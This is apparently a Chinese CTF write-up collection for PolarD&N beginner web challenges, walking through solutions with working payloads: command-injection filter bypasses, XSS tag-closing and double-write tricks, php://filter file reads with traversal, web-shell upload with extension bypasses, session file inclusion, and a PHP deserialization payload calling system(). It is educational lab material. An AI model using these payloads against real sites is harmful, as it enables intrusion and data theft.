PolarD&N WEB简单
swp

题目提示.swp文件
扩展:swp文件是一种临时缓存文件,主要用于在编辑器(如vim)中紧急保护未保存的工作内容。
第一次第一次产生的交换文件名为 .index.php.swp
再次意外退出后,将会产生名为 .index.php.swo 的交换文件
第三次产生的交换文件则为 .index.php.swn
访问/.index.php.swp

preg_match()最大回溯上限绕过
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit,回溯次数上限默认是100万,回溯次数超过了100万就可绕过preg_match()检测返回false
参考连接:https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html>
构造python脚本
import requests
r = requests.post('http://782c9f39-add3-4db6-9682-49146d0b1fbd.www.polarctf.com:8090/', data={'xdmtql':'sys nb'+'a'*1000000})
print(r.text)
运行得到flag

简单rce

题目提示是rce(远程代码执行)
但是过滤了一些命令

这个eval()函数会把传入的字符串当做命令执行
在HackBar传入参数查看目录
因为preg_math()过滤了空格
可以使用IFS$9、<、>、<>、{,}、%20、${IFS}、%09等进行绕过
ls%09/ 查看根目录
passthru()可以直接将结果输出到浏览器

可以看到有个flag文件

进行读取得到flag

蜜雪冰城吉警店

提示:点到第9个隐藏款奶茶的单子,就会给你flag^^
尝试都点一下发现没用
查看源码

将任意一个id改成9

再点击刚刚改的那个按钮得到flag

召唤神龙

JSfuck编码
复制到控制台直接执行

seek flag

检查源码看到有个小提示

那应该是robots协议,也称爬虫协议、爬虫规则等
是指网站可建立一个robots.txt文件来告诉搜索引擎哪些页面可以抓取,哪些页面不能抓取,而搜索引擎则通过读取robots.txt文件来识别这个页面是否允许被抓取。但是,这个robots协议不是防火墙,也没有强制执行力,搜索引擎完全可以忽视robots.txt文件去抓取网页的快照

看样子只得到了一部分
再抓个包看看

有个Cookie:id=0
改成1看看

得到其他部分,按顺序拼接起来得到完整flag
jwt

先了解一下什么是JWT
JWT是一种基于 Token 的认证授权机制,本质上就是一组字串,通过( . )切分成三个为 Base64 编码的部分:
Header(头部) : 描述 JWT 的元数据,定义了生成签名的算法以及 Token 的类型。Header 被 Base64Url 编码后成为 JWT 的第一部分。
Payload(载荷) : 用来存放实际需要传递的数据,包含声明(Claims),如sub(subject,主题)、jti(JWT ID)。Payload 被 Base64Url 编码后成为 JWT 的第二部分。
Signature(签名):服务器通过 Payload、Header 和一个密钥(Secret)使用 Header 里面指定的签名算法(默认是 HMAC SHA256)生成。生成的签名会成为 JWT 的第三部分。
格式通常是这样的:xxxxx.yyyyy.zzzzz
注册个账号看看
注册的时候我习惯试一下admin
发现admin已经被注册了

登录返回的包有jwt

爆破出密钥是SYSA

然后用在线工具构造jwt

替换原来的jwt,看到响应包提示flag是admin的密码

登录成功后点击个人中心再抓一次包
将刚刚构造的jwt替换(不替换的话返回的还是自己注册的用户)
得到flag


login

在源码处发现有信息泄露

尝试登录一下,发现登录成功了

尝试增加数值,发现20200102~20200105回显刚好是flag
burp suite爆破

数值型爆破

将爆破后回显的结果按顺序拼接得到flag{dlcg}
iphone

点击Enter提示Sorry, the admin menu must be viewed from iphone or ipad;

User-Agent(用户代理)是一种用于识别网络浏览器、操作系统、渲染引擎和设备类型的字符串。当用户代理通过网络协议(如 HTTP)访问服务器时,它会将自身标识信息包含在请求头中发送给服务器
将User-Agent改为iphone再发送

浮生日记

随便写一个看到有回显

然后标题提示弹个窗看看,应该是XSS攻击
<script>alert(1)</script>

script被过滤了,双写绕过
<sscriptcript>alert(1)</sscriptcript>

没被过滤,但也没弹窗
查看源码,发现<script>alert(1)</script>在其他标签里面

尝试先闭合前面的标签
"><sscriptcript>alert(1)</sscriptcript>
弹窗成功


$$

PHP中预定义了几个超级全局变量(superglobals) ,这意味着它们在一个脚本的全部作用域中都可用。
$GLOBALS 是PHP的一个超级全局变量组,在一个PHP脚本的全部作用域中都可以访问。
$GLOBALS 是一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

得到flag

爆破

substr(string,start,length)函数返回字符串的一部分
intval() 函数用于获取变量的整数值
条件一:pass的值进行md5加密后第2个字符(索引1)、第15个字符(索引14)、第18个字符(索引17)必须相等
条件二:intval()!=0
脚本暴力搜索,算出pass值可以为422
import hashlib
for i in range(1000000):
s = str(i)
h = hashlib.md5(s.encode()).hexdigest()
if h[1] == h[14] == h[17] and h[1].isdigit() and h[31] == '3':
print(f"{s} -> {h}")
break
得到flag

XFF

X-Forwarded-For 是一个 HTTP 扩展头部,用来表示 HTTP 请求端真实 IP
构造X-Forwarded_For: IP 1.1.1.1

发送得到flag

rce1

ping 127.0.0.1看到能回显

| :cmd管道符,将一个命令的输出作为另一个命令的输入,从而实现命令的连接和组合
127.0.0.1|ls

127.0.0.1|cat%09fllllaaag.php
得到flag,但隐藏在源码里面

GET-POST

需要get传入id=1
post传入jljcxy=flag

得到flag

被黑掉的站

使用dirsearch扫描

发现两个可疑目录

/index.php.bak
/shell.php


使用上面的字典进行爆破

得到密码nikel和flag


签到题

还是dirsearch目录扫描

/data/看到是php代码

php伪协议参考:https://www.cnblogs.com/wjrblogs/p/12285202.html
/data?file=php://filter/convert.base64-encode/resource=/flag
/flag是直接查找根目录下的文件
但有时文件不在根目录下 需要用 ../ 进行目录穿越
但这里 ../ 被过滤,可以用双写进行绕过
..././ 用一次跳一级目录

base64解码,得到flag

签到

可以看到提交的按钮无法点击
查看源码发现设置了disabled(禁用一个按钮)
删掉后就可以点击了

随便提交一个发现有个弹窗提示需要提交ilovejljcxy

但输入长度被限制了,手动将数值设置的大一点

然后提交ilovejljcxy得到flag

session文件包含

随便输入

伪协议读取action.php
action.php?file=php://filter/convert.base64-encode/resource=action.php
得到密文

base64解密是php代码,可以通过post传参
<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){
$_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>
session文件名的构造是sess_ + sessionid , sessionid在cookie中可以查看
存放session文件的位置一般默认为tmp
上传一句话木马

使用蚁剑连接
url地址:http://bd47670c-270a-4f98-a520-75a6035cf342.www.polarctf.com:8090/action.php?file=/tmp/sess_6liusorpf5oph8h1h28gitnee6


Don't touch me


鼠标悬停在Click Me时会出现左下角的链接
说明点击会访问3.php

不点击了,直接访问/3.php


robots

爬虫协议,在上面的seed flag有提到
直接访问/robots.txt,得到一个路径/fl0g.php

直接访问得到flag{2f37589152daf6f111b232ef4aea1304}
php very nice

看到 unserialize() 想到php反序列化
序列化:通过serialize()将变量转换为可保存或传输的字符串的过程;
反序列化:unserialize()在适当的时候把这个字符串再转化成原来的变量使用。
__destruct()是php序列化的一个魔术方法,在对象销毁之前自动调用
其他魔术方法如下:
| 魔术方法 | 触发条件 |
| __construct() | 类的构造函数,在类实例化对象时自动调用构造函数 |
| __destruct() | 类的析构函数,在对象销毁之前自动调用析构函数 |
| __sleep() | 在对象被序列化(使用 serialize() 函数)之前自动调用,可以在此方法中指定需要被序列化的属性,返回一个包含对象中所有应被序列化的变量名称的数组 |
| __wakeup() | 在对象被反序列化(使用 unserialize() 函数)之前自动调用,可以在此方法中重新初始化对象状态。 |
| __set($property, $value) | 当给一个对象的不存在或不可访问(private修饰)的属性赋值时自动调用,传递属性名和属性值作为参数。 |
| __get($property) | 当访问一个对象的不存在或不可访问的属性时自动调用,传递属性名作为参数。 |
| __isset($property) | 当对一个对象的不存在或不可访问的属性使用 isset() 或 empty() 函数时自动调用,传递属性名作为参数。 |
| __unset($property) | 当对一个对象的不存在或不可访问的属性使用 unset() 函数时自动调用,传递属性名作为参数。 |
| __call($method, $arguments) | 调用不存在或不可见的成员方法时,PHP会先调用__call()方法来存储方法名及其参数 |
| __callStatic($method, $arguments) | 当调用一个静态方法中不存在的方法时自动调用,传递方法名和参数数组作为参数。 |
| __toString() | 当使用echo或print输出对象将对象转化为字符串形式时,会调用__toString()方法。 |
| __invoke() | 当将一个对象作为函数进行调用时自动调用。 |
| __clone() | 当使用 clone 关键字复制一个对象时自动调用。 |
| __debugInfo() | 在使用 var_dump() 打印对象时自动调用,用于自定义对象的调试信息。 |
解题思路:将要执行的命令传入$sys进行序列化
反序列化时调用__destruct()方法进行eval()命令执行
<?php
class Example{
public $sys="system('ls');";
}
$a= new Example();
echo serialize($a);
?>
O:7:"Example":1:{s:3:"sys";s:13:"system('ls');";}
get传入?a=O:7:"Example":1:{s:3:"sys";s:13:"system('ls');";}后得到目录

继续构造$sys变量命令执行读取flag.php

ezupload

随便上传一个文件,提示只允许上传GIF图片
将一句话木马后缀改为 .gif 进行上传
上传时需要将文件后缀改为 .php 否则无法被执行

上传成功后用蚁剑连接
url地址:http://5000a230-35ae-4abe-93cf-45050a6f1c12.www.polarctf.com:8090/uploads/1.php(这题直接给存放路径,有些题目需要自己找)
密码:abc(自己设置的$_POST里的值)

cookie欺骗

F12将cookie的user值改为admin刷新即可

upload

需要上传图片
将一句话木马后缀改为jpg(其他图片格式也可以)进行上传

抓包把后缀改为.php,然后放行

看到返回的包中上传路径为/upload/65814upload.
php被过滤掉了

尝试将php双写绕过

没被过滤
用蚁剑连接即可

干正则

parse_str() 函数把查询字符串解析到变量中
preg_match('/flag\.php/', $ip) 目的是精确匹配字符串中是否包含 flag.php 这个子串,防止被类似flag_php 等绕过
\. 的作用是:让正则表达式匹配一个实际的点号字符 .,而不是任意字符
解题思路,第一个if为1,第二个if为0
payload:/?id=a[0]=www.polarctf.com&&cmd=||cat f\lag.php
最终flag藏在源代码中
cool

可以参照上面那题 简单rce
passthru()命令执行

$! 绕过preg_match()过滤
/?a=passthru("cat fl$!ag.txt"); 或
/?a=passthru("cat fla*");


浙公网安备 33010602011771号